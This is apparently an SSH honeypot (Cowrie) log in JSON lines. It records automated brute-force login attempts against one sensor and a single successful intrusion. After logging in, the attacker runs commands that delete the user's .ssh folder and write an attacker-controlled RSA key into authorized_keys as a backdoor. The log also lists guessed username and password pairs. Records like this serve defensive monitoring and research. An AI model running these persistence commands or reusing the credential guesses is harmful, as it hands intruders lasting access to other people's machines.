{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:32.974818Z","src_ip":"198.57.219.18","session":"eb08e190a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:33.063460Z","src_ip":"198.57.219.18","session":"eb08e190a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nepal","password":"Kathmandu#Crypto$P@ssw0rd","message":"login attempt [nepal/Kathmandu#Crypto$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:33.391469Z","src_ip":"198.57.219.18","session":"eb08e190a7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":40638,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b53f6f68db","protocol":"ssh","message":"New connection: 66.29.142.197:40638 (10.17.0.5:22) [session: 75b53f6f68db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:34.859474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:34.870039Z","src_ip":"66.29.142.197","session":"75b53f6f68db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:34.938845Z","src_ip":"66.29.142.197","session":"75b53f6f68db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1$Tr0ng#P@ss","message":"login attempt [root/G3m1n1$Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:35.146545Z","src_ip":"66.29.142.197","session":"75b53f6f68db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:35.166899Z","src_ip":"198.57.219.18","session":"eb08e190a7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:36.220079Z","src_ip":"66.29.142.197","session":"75b53f6f68db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":44194,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b9f66885e56","protocol":"ssh","message":"New connection: 154.205.134.214:44194 (159.203.135.109:22) [session: 9b9f66885e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:40.072318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:40.075237Z","src_ip":"154.205.134.214","session":"9b9f66885e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:40.237078Z","src_ip":"154.205.134.214","session":"9b9f66885e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"emporium","message":"login attempt [root/emporium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:40.922182Z","src_ip":"154.205.134.214","session":"9b9f66885e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:47:42.093195Z","src_ip":"154.205.134.214","session":"9b9f66885e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":57492,"dst_ip":"10.17.0.5","dst_port":22,"session":"9045a31fef22","protocol":"ssh","message":"New connection: 38.242.143.220:57492 (10.17.0.5:22) [session: 9045a31fef22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:26.095189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:26.099778Z","src_ip":"38.242.143.220","session":"9045a31fef22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:26.191905Z","src_ip":"38.242.143.220","session":"9045a31fef22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agix789","message":"login attempt [root/agix789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:26.500435Z","src_ip":"38.242.143.220","session":"9045a31fef22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:27.591979Z","src_ip":"38.242.143.220","session":"9045a31fef22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":49932,"dst_ip":"159.203.135.109","dst_port":22,"session":"25ca55e43d5b","protocol":"ssh","message":"New connection: 172.190.89.127:49932 (159.203.135.109:22) [session: 25ca55e43d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.112966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.117488Z","src_ip":"172.190.89.127","session":"25ca55e43d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.128096Z","src_ip":"172.190.89.127","session":"25ca55e43d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin2026","message":"login attempt [root/@Dmin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.199907Z","src_ip":"172.190.89.127","session":"25ca55e43d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":35142,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9ea71f0da9b","protocol":"ssh","message":"New connection: 41.242.115.84:35142 (159.203.135.109:22) [session: a9ea71f0da9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.552582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.556946Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:36.772922Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:37.212648Z","src_ip":"172.190.89.127","session":"25ca55e43d5b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"rootroot","message":"login attempt [oracle/rootroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:37.685947Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:38.149918Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:38.152375Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:38.155363Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:38.630239Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:38.892565Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:38.895195Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:39.117061Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:39.119553Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":35158,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5f6a3b2d630","protocol":"ssh","message":"New connection: 41.242.115.84:35158 (159.203.135.109:22) [session: b5f6a3b2d630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:39.323790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:39.327113Z","src_ip":"41.242.115.84","session":"b5f6a3b2d630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:39.570030Z","src_ip":"41.242.115.84","session":"b5f6a3b2d630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:40.461883Z","src_ip":"41.242.115.84","session":"b5f6a3b2d630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":16844,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba1589408e5","protocol":"ssh","message":"New connection: 178.128.39.166:16844 (159.203.135.109:22) [session: 6ba1589408e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.178745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.191034Z","src_ip":"178.128.39.166","session":"6ba1589408e5","protocol":"ssh"}
